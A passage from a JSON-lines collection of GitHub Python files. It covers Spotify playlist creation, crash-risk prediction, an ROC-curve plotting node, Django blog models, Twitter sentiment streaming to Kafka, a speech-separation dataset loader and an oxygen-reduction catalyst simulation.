'description':f\"top songs of {username} as of {datetime.datetime.today()}\"\n }))\n\n #grabs the id to append to \n new_playlist_id = json.loads(new_playlist.text).get('id')\n\n requests.post(f'https://api.spotify.com/v1/playlists/{new_playlist_id}/tracks', headers = headers_const, data = json.dumps({\n\n 'uris':uris,\n 'position':0\n \n \n }))\n #returns both the url and the id of the playlist\n return (f'https://open.spotify.com/playlist/{new_playlist_id}', new_playlist_id)\n \n\n\n\n\ndef get_playlist_info(auth:str, id:int):\n \n '''grabs playlist information given id'''\n \n\n #constant headers for all required requests\n headers_const = {\n \"Content-Type\":\"application/json\",\n \"Authorization\": f\"Bearer {auth.get('access_token')}\",\n \"Host\": \"api.spotify.com\"\n }\n\n request_urls = [\n f'https://api.spotify.com/v1/playlists/{id}/tracks',\n f'https://api.spotify.com/v1/playlists/{id}'\n ]\n async def request(list_urls:list):\n async with aiohttp.ClientSession(headers=headers_const) as session:\n responses = []\n for url in request_urls:\n async with session.get(url) as resp:\n responses.append(await resp.json())\n \n return responses\n\n \n res= asyncio.run(request(request_urls))\n \n \n return res\n\n\n\n\ndef get_user_data(auth:str):\n headers_const = {\n \"Content-Type\":\"application/json\",\n \"Authorization\": f\"Bearer {auth.get('access_token')}\",\n \"Host\": \"api.spotify.com\"\n }\n user = requests.get('https://api.spotify.com/v1/me', headers = headers_const )\n \n \n return Credentials(json.loads(user.text).get('id'), json.loads(user.text).get('display_name'), json.loads(user.text).get('images')[0].get(\"url\"))\n \ndef get_connection(path):\n #returns connection and cursor object\n con = sqlite3.connect(path)\n cur= con.cursor()\n return (con,cur)\n\n\ndef synchronize_async_helper(to_await):\n '''runs async funcs synchronously'''\n async_response = []\n\n async def run_and_capture_result():\n r = await to_await\n async_response.append(r)\n \n loop = asyncio.get_event_loop()\n coroutine = run_and_capture_result()\n loop.run_until_complete(coroutine)\n return async_response[0]","repo_name":"SebassNoob/SpotifySnapshot","sub_path":"misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":3667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"32214635975","text":"# 무지의 먹방 라이브\n# https://programmers.co.kr/learn/courses/30/lessons/42891?language=python3\n\ndef solution(food_times , k):\n answer = 0\n ftime = len(food_times)\n i = ftime\n result = 0\n\n for _ in range(1, k + 1):\n if(food_times[ftime - i] != 0):\n food_times[ftime - i] -= 1\n i -= 1\n if(i == 0):\n i = ftime\n result = ftime - i \n else:\n while(True):\n i -= 1\n if(i == 0):\n i = ftime\n if(food_times[ftime - i] != 0):\n food_times[ftime - i] -= 1\n result = ftime - i\n break\n \n print(food_times)\n if(result == len(food_times)-1):\n result = 1\n else:\n result += 1\n \n if(sum(food_times) == 0):\n answer = -1\n return answer\n else:\n answer = result\n return result\n\nprint(solution([3, 1, 2], 5))","repo_name":"DevelopJun/Algorithm","sub_path":"Algorithm_coding_test/Code(part2)/greedy(6).py","file_name":"greedy(6).py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70911121324","text":"# Need to be able to process batch and single results\n# Need to load in data with near_id\n\nimport pandas as pd\nimport os\nimport argparse\nimport yaml\nfrom datetime import datetime\nimport sys\nimport pickle\n\nCURR_FP = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(CURR_FP)\n\nfrom model_utils import format_crash_data\nfrom model_classes import Indata, Tuner, Tester\nfrom train_model import process_features, get_features\nimport sklearn.linear_model as skl\n\n\nBASE_DIR = os.path.dirname(\n os.path.dirname(\n os.path.dirname(\n os.path.abspath(__file__))))\n\n\ndef predict(trained_model, predict_data, features, data_model_features, DATA_DIR):\n \"\"\"\n Returns\n nothing, writes prediction segments to file\n \"\"\"\n\n # Ensure predict_data has the same columns and column ordering as required by trained_model\n predict_data_reduced = predict_data[data_model_features]\n preds = trained_model.predict_proba(predict_data_reduced)[::, 1]\n predict_data['predictions'] = preds\n\n predict_data.to_csv(os.path.join(DATA_DIR, 'predictions.csv'), index=False)\n predict_data.to_json(os.path.join(DATA_DIR, 'predictions.json'), orient='index')\n\n\ndef get_accident_count_recent(predict_data, data):\n data['DATE_TIME'] = pd.to_datetime(data['DATE_TIME'])\n\n current_date = datetime.now()\n past_7_days = current_date - pd.to_timedelta(\"7day\")\n past_30_days = current_date - pd.to_timedelta(\"30day\")\n past_365_days = current_date - pd.to_timedelta(\"365day\")\n past_1825_days = current_date - pd.to_timedelta(\"1825day\")\n past_3650_days = current_date - pd.to_timedelta(\"3650day\")\n\n recent_crash_7 = data.loc[data['DATE_TIME'] > past_7_days]\n recent_crash_30 = data.loc[data['DATE_TIME'] > past_30_days]\n recent_crash_365 = data.loc[data['DATE_TIME'] > past_365_days]\n recent_crash_1825 = data.loc[data['DATE_TIME'] > past_1825_days]\n recent_crash_3650 = data.loc[data['DATE_TIME'] > past_3650_days]\n\n column_names = ['LAST_7_DAYS', 'LAST_30_DAYS', 'LAST_365_DAYS', 'LAST_1825_DAYS', 'LAST_3650_DAYS']\n recent_crashes = [recent_crash_7, recent_crash_30, recent_crash_365, recent_crash_1825, recent_crash_3650]\n\n for col_name in column_names:\n predict_data[col_name] = \"\"\n\n i = 0\n print('About to append recent accident counts. This will take some time.')\n for i in range(len(predict_data)):\n current_segment_id = predict_data.loc[i].segment_id\n\n for j in range(len(recent_crashes)):\n\n # Find number of crashes at same segment that have occured in appropriate time period\n recent_crash = recent_crashes[j]\n num_crashes = len(recent_crash.loc[recent_crash['segment_id'] == current_segment_id])\n\n # Assign this number to predict_data\n col_name = column_names[j]\n predict_data.at[i, col_name] = num_crashes\n\n if i % 5000 == 0:\n print(\"Got through {}% of results\".format(100 * i / len(predict_data)))\n\n return predict_data\n\n\ndef add_empty_features(predict_data, features):\n\n # Read in the features from our modelling dataset\n features_path = os.path.join(PROCESSED_DIR, 'features.pk')\n with open(features_path, 'rb') as fp:\n data_model_features = pickle.load(fp)\n\n # Get the difference of features between our modelling dataset and predicting dataset\n # Recast as a list to allow for looping over\n feature_difference = list(set(data_model_features) - set(features))\n\n # Add features in a loop as python doens't like adding all at one time\n for feat in feature_difference:\n predict_data[feat] = 0\n\n return predict_data, feature_difference, data_model_features\n\n\nif __name__ == '__main__':\n\n print('Within train_model.py')\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', type=str, help=\"yml file for model config, default is a base config with open street map data and crashes only\")\n parser.add_argument('-d', '--DATA_DIR', type=str, help=\"data directory\")\n parser.add_argument('-f', '--forceupdate', type=str, help=\"force update our data model or not\", default=False)\n args = parser.parse_args()\n\n config = {}\n if args.config:\n config_file = args.config\n with open(config_file) as f:\n config = yaml.safe_load(f)\n\n # Create required data paths\n DATA_DIR = os.path.join(BASE_DIR, 'data', config['name'])\n PROCESSED_DIR = os.path.join(BASE_DIR, 'data', config['name'], 'processed/')\n crash_data_path = os.path.join(PROCESSED_DIR, 'crash.csv.gz')\n road_data_path = os.path.join(PROCESSED_DIR, 'roads.csv.gz')\n\n # Read in road data. We shall generate a prediction for each segment.\n # predict_data = pd.read_csv(road_data_path)\n # Use pk rather than csv to keep datatypes correct\n with open(os.path.join(PROCESSED_DIR, 'roads.pk'), 'rb') as fp:\n predict_data = pickle.load(fp)\n\n # Reset the index so that it can be properly looped over in the attach accident count phase\n # Drop because there should already be a correlate_id within the DF, was a duplicate\n predict_data.reset_index(inplace=True, drop=True)\n\n # Read in crash data. We shall use this to attach historic accident counts to road data.\n data = pd.read_csv(crash_data_path)\n\n # Check NA within both DF\n predict_na = (predict_data.isna().sum()) / len(predict_data)\n data_na = (data.isna().sum()) / len(data)\n\n data_cols = (data_na < 0.95).keys()\n predict_cols = (predict_na < 0.95).keys()\n\n print('Removing {} columns from predict data due to NA'.format(set(list(predict_data)) - set(predict_cols)))\n print('Removing {} columns from crash data due to NA'.format(set(list(data)) - set(data_cols)))\n\n predict_data = predict_data[predict_cols]\n data = data[data_cols]\n\n predict_data.fillna('', inplace=True)\n data.fillna('', inplace=True)\n\n # Attach current date / time data\n date_time = datetime.now()\n hour = date_time.hour\n day = date_time.weekday()\n month = date_time.month\n\n predict_data['MONTH'] = month\n predict_data['DAY_OF_WEEK'] = day\n predict_data['HOUR'] = hour\n\n # Attach accident data\n predict_path = os.path.join(PROCESSED_DIR, 'predict.csv.gz')\n if not os.path.exists(predict_path) or args.forceupdate:\n predict_data = get_accident_count_recent(predict_data, data)\n predict_data.to_csv(predict_path, index=False, compression='gzip')\n else:\n predict_data = pd.read_csv(predict_path)\n\n # Get feature lists\n f_cont, f_cat, features = get_features(config, predict_data, PROCESSED_DIR)\n\n # Process features as in train_model\n predict_data, features, _ = process_features(predict_data, features, config, f_cat, f_cont)\n\n # Add empty columns for those columns that occur in the training of the model, but didn't occcur in prediction\n # Should expect a whole lot of time columns to be in added_features, as our prediction uses only datetime.now()\n predict_data, added_features, data_model_features = add_empty_features(predict_data, features)\n\n # Read in best performing model from train_model\n with open(os.path.join(PROCESSED_DIR, 'model.pk'), 'rb') as fp:\n trained_model = pickle.load(fp)\n\n # Get predictions from model and prediction features\n predict(trained_model=trained_model, predict_data=predict_data, features=features, data_model_features=data_model_features, DATA_DIR=DATA_DIR)\n","repo_name":"delewis13/MelbourneCrashModel","sub_path":"src/models/predict_model.py","file_name":"predict_model.py","file_ext":"py","file_size_in_byte":7431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"75060100844","text":"from greenflow.dataframe_flow import Node\n# from bqplot import Axis, LinearScale, Figure, Lines, PanZoom\nimport dask_cudf\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom sklearn import metrics\nimport cudf\nfrom greenflow.dataframe_flow.portsSpecSchema import (ConfSchema,\n PortsSpecSchema)\nfrom greenflow.dataframe_flow.metaSpec import MetaDataSchema\nfrom greenflow.dataframe_flow.template_node_mixin import TemplateNodeMixin\nfrom ..node_hdf_cache import NodeHDFCacheMixin\n\n\nclass RocCurveNode(TemplateNodeMixin, NodeHDFCacheMixin, Node):\n\n def init(self):\n TemplateNodeMixin.init(self)\n self.INPUT_PORT_NAME = 'in'\n self.OUTPUT_PORT_NAME = 'roc_curve'\n self.OUTPUT_VALUE_NAME = 'value'\n port_type = PortsSpecSchema.port_type\n port_inports = {\n self.INPUT_PORT_NAME: {\n port_type: [\n \"pandas.DataFrame\", \"cudf.DataFrame\",\n \"dask_cudf.DataFrame\", \"dask.dataframe.DataFrame\"\n ]\n },\n }\n port_outports = {\n self.OUTPUT_PORT_NAME: {\n port_type: [\"matplotlib.figure.Figure\"]\n },\n self.OUTPUT_VALUE_NAME: {\n port_type: [\"builtins.float\"]\n }\n }\n cols_required = {}\n icols = self.get_input_meta()\n if 'label' in self.conf:\n label = self.conf['label']\n labeltype = icols.get(self.INPUT_PORT_NAME, {}).get(label)\n cols_required[label] = labeltype\n if 'prediction' in self.conf:\n cols_required[self.conf['prediction']] = None\n retension = {}\n meta_inports = {\n self.INPUT_PORT_NAME: cols_required\n }\n meta_outports = {\n self.OUTPUT_PORT_NAME: {\n MetaDataSchema.META_OP: MetaDataSchema.META_OP_RETENTION,\n MetaDataSchema.META_DATA: retension\n },\n self.OUTPUT_VALUE_NAME: {\n MetaDataSchema.META_OP: MetaDataSchema.META_OP_RETENTION,\n MetaDataSchema.META_DATA: retension\n }\n }\n self.template_ports_setup(\n in_ports=port_inports,\n out_ports=port_outports\n )\n self.template_meta_setup(\n in_ports=meta_inports,\n out_ports=meta_outports\n )\n\n def conf_schema(self):\n json = {\n \"title\": \"ROC Curve Configuration\",\n \"type\": \"object\",\n \"description\": \"\"\"Plot the ROC Curve for binary classification problem.\n \"\"\",\n \"properties\": {\n \"label\": {\n \"type\": \"string\",\n \"description\": \"Ground truth label column name\"\n },\n \"prediction\": {\n \"type\": \"string\",\n \"description\": \"prediction probablity column\"\n },\n\n },\n \"required\": [\"label\", \"prediction\"],\n }\n ui = {\n }\n input_meta = self.get_input_meta()\n if self.INPUT_PORT_NAME in input_meta:\n col_from_inport = input_meta[self.INPUT_PORT_NAME]\n enums = [col for col in col_from_inport.keys()]\n json['properties']['label']['enum'] = enums\n json['properties']['prediction']['enum'] = enums\n return ConfSchema(json=json, ui=ui)\n\n def process(self, inputs):\n \"\"\"\n Plot the ROC curve\n\n Arguments\n -------\n inputs: list\n list of input dataframes.\n Returns\n -------\n Figure\n\n \"\"\"\n input_df = inputs[self.INPUT_PORT_NAME]\n if isinstance(input_df, dask_cudf.DataFrame):\n input_df = input_df.compute() # get the computed value\n\n label_col = input_df[self.conf['label']].values\n pred_col = input_df[self.conf['prediction']].values\n\n if isinstance(input_df, cudf.DataFrame):\n fpr, tpr, _ = metrics.roc_curve(label_col.get(),\n pred_col.get())\n else:\n fpr, tpr, _ = metrics.roc_curve(label_col,\n pred_col)\n auc_value = metrics.auc(fpr, tpr)\n out = {}\n backend_ = mpl.get_backend()\n mpl.use(\"Agg\") # Prevent showing stuff\n\n f = plt.figure()\n\n if self.outport_connected(self.OUTPUT_PORT_NAME):\n # linear_x = LinearScale()\n # linear_y = LinearScale()\n # yax = Axis(label='True Positive Rate', scale=linear_x,\n # orientation='vertical')\n # xax = Axis(label='False Positive Rate', scale=linear_y,\n # orientation='horizontal')\n # panzoom_main = PanZoom(scales={'x': [linear_x]})\n curve_label = 'ROC (area = {:.2f})'.format(auc_value)\n plt.plot(fpr, tpr, color='blue', label=curve_label)\n # line = Lines(x=fpr, y=tpr,\n # scales={'x': linear_x, 'y': linear_y},\n # colors=['blue'], labels=[curve_label],\n # display_legend=True)\n # new_fig = Figure(marks=[line], axes=[yax, xax],\n # title='ROC Curve',\n # interaction=panzoom_main)\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.grid(True)\n plt.title('ROC Curve')\n plt.legend()\n mpl.use(backend_)\n out.update({self.OUTPUT_PORT_NAME: f})\n if self.outport_connected(self.OUTPUT_VALUE_NAME):\n out.update({self.OUTPUT_VALUE_NAME: float(auc_value)})\n return out\n","repo_name":"NVIDIA/fsi-samples","sub_path":"gQuant/plugins/gquant_plugin/greenflow_gquant_plugin/analysis/rocCurveNode.py","file_name":"rocCurveNode.py","file_ext":"py","file_size_in_byte":5788,"program_lang":"python","lang":"en","doc_type":"code","stars":263,"dataset":"github-code","pt":"19"} +{"seq_id":"21614354723","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils.text import slugify\nfrom treebeard.mp_tree import MP_Node\nfrom taggit.managers import TaggableManager\n\nfrom model_utils.fields import StatusField\nfrom model_utils import Choices\n\n# Create your models here.\n\n\nclass Category(MP_Node):\n STATUS_CHOICES = Choices('public', 'private')\n status = StatusField(choices_name='STATUS_CHOICES')\n name = models.CharField(max_length=80)\n parent = models.ForeignKey('self',\n related_name='children_set',\n null=True,\n db_index=True,\n on_delete=models.CASCADE)\n sib_order = models.PositiveIntegerField(null=True, blank=True)\n slug = models.SlugField(null=True, blank=True)\n\n node_order_by = ['name']\n\n def __str__(self):\n return \"%s %s\" % (self.id, self.name)\n def save(self, *args, **kwargs):\n self.slug = slugify(self.name)\n super(Category, self).save(*args, **kwargs)\n\n\nclass Post(models.Model):\n STATUS_CHOICES = Choices('draft', 'published')\n status = StatusField(choices_name='STATUS_CHOICES')\n category = models.ForeignKey(\n Category, blank=True, null=True, on_delete=models.CASCADE)\n title = models.CharField(max_length=80, blank=True)\n body = models.TextField()\n created = models.DateTimeField(auto_now_add=True, blank=True)\n updated = models.DateTimeField(auto_now_add=True, blank=True, null=True)\n slug = models.SlugField(null=True, blank=True)\n tag = TaggableManager(blank=True)\n\n def __str__(self):\n return \"%s %s - %s - %s\" % (self.id, self.category, self.title, self.body[:30])\n\n def save(self, *args, **kwargs):\n if not self.title:\n self.title = self.body[:20]\n self.slug = slugify(self.title)\n super(Post, self).save(*args, **kwargs)\n","repo_name":"simmh/django-blog-deploy-test","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28538995834","text":"import json\r\n\r\nimport sys\r\nfrom tweepy import StreamingClient, StreamRule\r\nfrom kafka import KafkaProducer\r\nimport tweepy\r\nimport time\r\nfrom textblob import TextBlob\r\nimport json\r\n\r\ndef json_serializer(data):\r\n return json.dumps(data).encode(\"utf-8\")\r\n\r\n\r\nclass TweetSentimentAnalyse(tweepy.StreamingClient):\r\n \r\n def on_tweet(self, tweet):\r\n a = perform_sentimentanalysis(tweet)\r\n producer.send(topic, a)\r\n\r\ndef perform_sentimentanalysis(tweet):\r\n\r\n score = TextBlob(tweet.text).sentiment.polarity\r\n\r\n if score < 0:\r\n return 'Negative'\r\n\r\n elif score ==0:\r\n return 'Neutral'\r\n\r\n else:\r\n return 'Positive'\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n if len(sys.argv) != 4:\r\n print(\"\"\"\r\n Usage: structured_kafka_wordcount.py \r\n \"\"\", file=sys.stderr)\r\n sys.exit(-1)\r\n\r\n bootstrapServers = sys.argv[1]\r\n topic = sys.argv[2]\r\n bearertoken = sys.argv[3]\r\n\r\n producer = KafkaProducer(bootstrap_servers=[bootstrapServers], value_serializer=json_serializer)\r\n\r\n printer = TweetSentimentAnalyse(bearertoken)\r\n\r\n rule = tweepy.StreamRule(\"#covid19 lang:en -is:retweet -is:reply\")\r\n\r\n printer.add_rules(rule)\r\n\r\n printer.filter()\r\n\r\n","repo_name":"nihae28/Covid19TwitterSentimentAnalysis","sub_path":"TwitterSentimentAnalysis.py","file_name":"TwitterSentimentAnalysis.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34368952135","text":"from math import floor\nfrom pathlib import Path\nfrom random import random\n\nimport torch\nfrom demucs.audio import convert_audio\nfrom torch import Tensor\nimport torch.nn.functional as F\n\nimport torchaudio as ta\nclass SpeechSet:\n\tdef __init__(self, root: Path, track_names: list[str], sources: list[str], samplerate: int, segment: int, channels: int):\n\t\tself.root = root\n\t\tself.track_names = track_names\n\t\tself.sources = sources\n\t\tself.samplerate = samplerate\n\t\tself.segment = segment\n\t\tself.channels = channels\n\n\tdef __len__(self) -> int:\n\t\treturn len(self.track_names)\n\n\tdef get_file(self, name: str, source: str) -> Path:\n\t\tsource_to_path = {\n\t\t\t\"mixture\": \"mix_single\",\n\t\t\t\"human\": \"s1\",\n\t\t\t\"noise\": \"noise\",\n\t\t}\n\n\t\treturn self.root / source_to_path[source] / f\"{name}.wav\"\n\n\n\tdef __getitem__(self, index: slice | int) -> Tensor:\n\t\tif isinstance(index, slice):\n\t\t\t# metas = self.metadata[index]\n\t\t\t# filepaths = [self.get_file(meta.name, source) for meta in metas for source in [\"mixture\"] + self.sources]\n\t\t\t# wavs = [convert_audio(wav, wav_samplerate, self.samplerate, self.channels) for (wav, wav_samplerate) in\n\t\t\t# \t[str(ta.load(path)) for path in filepaths]]\n\t\t\t# tracks = torch.stack(wavs, dim=0)\n\t\t\t# tracks = tracks.reshape(len(metas), len(self.sources) + 1, self.channels, -1)\n\t\t\treturn torch.stack([self[i] for i in range(*index.indices(len(self)))], dim=0)\n\n\t\tif (index < 0) or (index >= len(self)):\n\t\t\traise IndexError\n\n\t\ttrack_name = self.track_names[index]\n\n\t\tfiles_paths = [self.get_file(track_name, source) for source in [\"mixture\"] + self.sources]\n\t\twavs = [convert_audio(wav, wav_samplerate, self.samplerate, self.channels) for (wav, wav_samplerate) in\n\t\t\t\t[ta.load(str(path)) for path in files_paths]]\n\n\t\texample: Tensor = torch.stack(wavs)\n\n\t\tdesired_length = int(self.segment * self.samplerate)\n\t\texample = example[..., :desired_length]\n\t\texample = F.pad(example, (0, desired_length - example.shape[-1]))\n\t\treturn example\n\ndef get_librimix_wav_datasets(root: Path, sources: list[str], samplerate: int, segment: int, audio_channels: int, validation_percentage: float = 0.1) -> tuple[SpeechSet, SpeechSet]:\n\tassert 0 <= validation_percentage <= 1, f\"validation_percentage must be between 0 and 1 but is {validation_percentage}\"\n\tmixturePath: Path = root / \"mix_single\"\n\t# metadata: list[TrackMetaData] = [TrackMetaData(file.stat().st_size, file.stem) for file in mixturePath.iterdir()]\n\ttrack_names = [file.stem for file in mixturePath.iterdir()]\n\n\t# pick a random 10% of the data for validation\n\tdesired_validation_size = int(floor(len(track_names) * validation_percentage))\n\tvalidation_tracks: list[str] = []\n\twhile len(validation_tracks) < desired_validation_size:\n\t\tindex = int(random() * len(track_names))\n\t\tvalidation_tracks.append(track_names.pop(index))\n\n\ttrain_set = SpeechSet(root, track_names, sources, samplerate=samplerate, segment=segment, channels=audio_channels)\n\tvalid_set = SpeechSet(root, validation_tracks, sources, samplerate=samplerate, segment=segment, channels=audio_channels)\n\n\treturn train_set, valid_set\n\ndef get_librimix_wav_testset(testset_root: Path, samplerate: int, segment: int, audio_channels: int) -> SpeechSet:\n\treturn get_librimix_wav_datasets(testset_root, [\"human\", \"noise\"], samplerate=samplerate, segment=segment, audio_channels=audio_channels, validation_percentage=0.9)[0]\n","repo_name":"RasmusNylander/02456-handinrepo","sub_path":"demucs/speech.py","file_name":"speech.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22154253933","text":"'''\nComputes catalyst properties specific to ORR catalysts\n'''\n\nimport numpy as np\nimport copy\nimport random\nimport os\n\nfrom ase.neighborlist import PrimitiveNeighborList\n\nfrom orr_optimizer.metal import metal\nfrom orr_optimizer.ORR import ORR_rate\nfrom orr_optimizer.orr_mkm import *\nfrom orr_optimizer.graph_theory import Graph\nfrom orr_optimizer.dynamic_cat import dynamic_cat\nimport math\n\nclass orr_cat(dynamic_cat):\n\n '''\n Oxygen reduction reaction catalyst structure with defects\n '''\n\n def __init__(self, met_name = 'Pt', facet = '111', dim1 = 12, dim2 = 12, volcano = 'JL'):\n\n dynamic_cat.__init__(self, met_name = met_name, facet = facet, dim1 = dim1, dim2 = dim1, fixed_layers = 3, variable_layers = 1) # Call parent class constructor\n\n self.metal = None\n\n self.template_graph = None\n self.defected_graph = None\n self.active_atoms = None # Atoms which contribute to the current density\n\n if facet == '111':\n self.active_CN = 9 # CN must be less than or equal to this to be active\n elif facet == '100':\n self.active_CN = 8\n\n self.active_atoms = range(2 * self.atoms_per_layer, 4 * self.atoms_per_layer)\n self.metal = metal(met_name)\n\n # Compute normalization factor from volcano plot\n self.volcano_data = np.load(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'all_volcanos.npy')) # maximum is edge sites at unrealistically high GCN\n\n self.volcano = volcano\n if volcano == 'JL':\n self.i_max = np.max(self.volcano_data[:,3]) # Others\n #self.i_max = np.max(self.volcano_data[:,1::])\n elif volcano == 'CV':\n self.i_max = np.max(self.volcano_data[:,5]) # Calle-Vallejo only\n else:\n raise NameError('Unrecognized volcano')\n\n '''\n Build template graph\n '''\n\n # Find neighbors based on distances\n rad_list = ( 2.77 + 0.2 ) / 2 * np.ones(len(self.atoms_template)) # list of neighboradii for each site\n neighb_list = PrimitiveNeighborList(rad_list, self_interaction = False) # set bothways = True to include both ways\n neighb_list.build([True,True,True], self.atoms_template.get_cell(), self.atoms_template.get_positions())\n\n self.template_graph = Graph()\n for i in range(len(self.atoms_template)):\n self.template_graph.add_vertex(i)\n\n for i in range(len(self.atoms_template)):\n for j in neighb_list.neighbors[i]:\n self.template_graph.add_edge([i,j])\n\n self.defected_graph = copy.deepcopy(self.template_graph)\n\n self.occs_to_atoms()\n self.occs_to_graph()\n\n # Get adjacent indices of cavities near top layer edges\n self.edge_cavity_dict = {}\n apl = self.atoms_per_layer\n for ind in range(apl):\n d1, d2 = self.var_ind_to_sym_inds(ind)\n cav_ind_1 = self.sym_inds_to_var_ind(d1-1, d2+1)\n cav_ind_2 = self.sym_inds_to_var_ind(d1+1, d2+1)\n cav_ind_3 = self.sym_inds_to_var_ind(d1+1, d2-1)\n self.edge_cavity_dict[ind+3*apl] = [cav_ind_1+2*apl, cav_ind_2+2*apl, cav_ind_3+2*apl]\n\n\n def graph_to_occs(self):\n '''\n Convert graph representation of defected structure to occupancies\n '''\n self.variable_occs = [0 for i in range(len(self.variable_atoms))]\n ind = 0\n for i in self.variable_atoms:\n if self.defected_graph.is_node(i):\n self.variable_occs[ind] = 1\n ind += 1\n\n\n def occs_to_graph(self, x = None):\n '''\n Build graph from occupancies\n :param x: site occupancies\n '''\n if x is None:\n x = self.variable_occs\n else:\n self.variable_occs = x\n\n self.defected_graph = self.template_graph.copy_data()\n for i in range(len(x)):\n if x[i] == 0:\n self.defected_graph.remove_vertex(self.variable_atoms[i])\n\n\n def get_Nnn(self):\n '''\n For each active atom, print the number of nearest neighbors that are also active\n '''\n defected_graph = self.defected_graph\n for i in self.active_atoms:\n if defected_graph.is_node(i):\n if defected_graph.get_coordination_number(i) <= self.active_CN:\n\n gcn = defected_graph.get_generalized_coordination_number(i)\n\n Nnn = 0\n for j in defected_graph.get_neighbors(i):\n if j in self.active_atoms:\n if defected_graph.is_node(j):\n if defected_graph.get_coordination_number(j) <= self.active_CN:\n Nnn += 1\n\n print ([gcn, Nnn])\n\n\n def get_site_currents(self, hist_info = False):\n '''\n Evaluate the contribution to the current from each site\n :param hist_info: If false, just returns the site rates. If true, returns the GCN as well\n\n :returns: Array site currents for each active site\n '''\n\n curr_list = [0. for i in self.active_atoms]\n GCN_list = [None for i in self.active_atoms]\n site_categ_list = [None for i in self.active_atoms]\n for i in range(len(self.active_atoms)):\n site_ind = self.active_atoms[i]\n if self.defected_graph.is_node(site_ind):\n if self.defected_graph.get_coordination_number(site_ind) <= self.active_CN:\n gcn = self.defected_graph.get_generalized_coordination_number(site_ind)\n\n if self.volcano == 'JL':\n if i < self.atoms_per_layer: # bottom layer\n if gcn > 7.9: # cavity, not sure of the appropritate cutoff\n site_type_rates = self.volcano_data[:,4]\n site_categ_list[site_ind-2*self.atoms_per_layer] = 'cavity'\n else: # terrace\n site_type_rates = self.volcano_data[:,1]\n site_categ_list[site_ind-2*self.atoms_per_layer] = 'bot terrace'\n else: # top layer\n if gcn > 6.0: # terrace\n site_type_rates = self.volcano_data[:,1]\n site_categ_list[site_ind-2*self.atoms_per_layer] = 'top terrace'\n else: # edge\n there_is_a_nearby_cavity = False\n possible_cavity_sites = self.edge_cavity_dict[site_ind]\n for cav_site in possible_cavity_sites:\n if site_categ_list[cav_site-2*self.atoms_per_layer] == 'cavity':\n there_is_a_nearby_cavity = True\n\n if there_is_a_nearby_cavity:\n site_type_rates = self.volcano_data[:,3] # cavity_edge\n site_categ_list[site_ind-2*self.atoms_per_layer] = 'cavity edge'\n else:\n site_type_rates = self.volcano_data[:,2] # edge with no cavity, terrace-like\n site_categ_list[site_ind-2*self.atoms_per_layer] = 'edge'\n\n elif self.volcano == 'CV':\n site_type_rates = self.volcano_data[:,5]\n else:\n raise NameError('Volcano not set')\n\n # interpolate data to get the rate\n GCN_list[i] = gcn\n curr_list[i] = np.exp( np.interp( gcn, self.volcano_data[:,0], np.log(site_type_rates) ) )\n if math.isnan(curr_list[i]):\n curr_list[i] = 0\n\n if hist_info:\n GCN_list_new = []\n curr_list_new = []\n for i in range(len(self.active_atoms)):\n if not GCN_list[i] is None:\n GCN_list_new.append(GCN_list[i])\n curr_list_new.append(curr_list[i])\n return [GCN_list_new, curr_list_new]\n else:\n curr_list = np.transpose( np.array(curr_list).reshape([2,self.atoms_per_layer]) )\n return curr_list\n\n\n def eval_current_density(self, normalize = True):\n\n '''\n :param normalize: current density [mA/cm^2]\n :returns: Total current (mA) or Current density [mA/cm^2]\n '''\n\n site_currents = self.get_site_currents()\n I = np.sum(site_currents)\n\n if normalize:\n return self.normalize_current_density(I)\n else:\n return I\n\n\n def normalize_current_density(self,I):\n '''\n :param I: total current in mA\n :returns: Total current (mA) or Current density [mA/cm^2]\n '''\n square_cm_per_square_angstrom = 1.0e-16 # conversion factor\n return I / ( self.surface_area * square_cm_per_square_angstrom)\n\n\n def eval_surface_energy(self, normalize = True):\n\n '''\n Evaluate the surface energy of the slab\n :param normalize: Normalized: surface energy [J/m^2]. Not normalized: formation energy [eV] or surface energy (J/m^2)\n :returns: The surface energy, in units depending on whether it is normalized\n '''\n\n E_form = 0\n for i in self.active_atoms:\n if self.defected_graph.is_node(i):\n E_form += self.metal.E_coh * ( 1 - np.sqrt( self.defected_graph.get_coordination_number(i) / 12.0 ) )\n\n if normalize:\n return self.normalize_surface_energy(E_form)\n else:\n return E_form\n\n\n def normalize_surface_energy(self,E_form):\n '''\n :param E_form: formation energy of the slab (eV)\n :returns: Current density [mA/cm^2]\n '''\n ev_to_Joule = 1.60218e-19 # conversion factor\n square_m_per_square_angstrom = 1.0e-20 # conversion factor\n return E_form * ev_to_Joule / ( self.surface_area * square_m_per_square_angstrom )\n\n\n def flip_atom(self, ind):\n\n '''\n If atom number ind is present in the defected graph, remove it.\n If it is not present, add it and all edges to adjacent atoms.\n :param ind: index of the atom to be flipped\n '''\n super(orr_cat, self).flip_atom(ind) # Call super class method to change the occupancy vector\n\n if self.defected_graph.is_node(ind):\n self.defected_graph.remove_vertex(ind)\n else:\n self.defected_graph.add_vertex(ind)\n for neighb in self.template_graph.get_neighbors(ind):\n if self.defected_graph.is_node(neighb):\n self.defected_graph.add_edge([ind, neighb])\n\n\n def rand_move_CE(self, move_these = None):\n '''\n Randomly change an adjacent atom-occupancy pair\n :param move_these: Can specify the atoms to be flipped\n :returns: A two-element list with the indices of the atoms in the pair\n '''\n\n # Identify an adjacent atom-occupancy pair\n if move_these is None:\n\n # 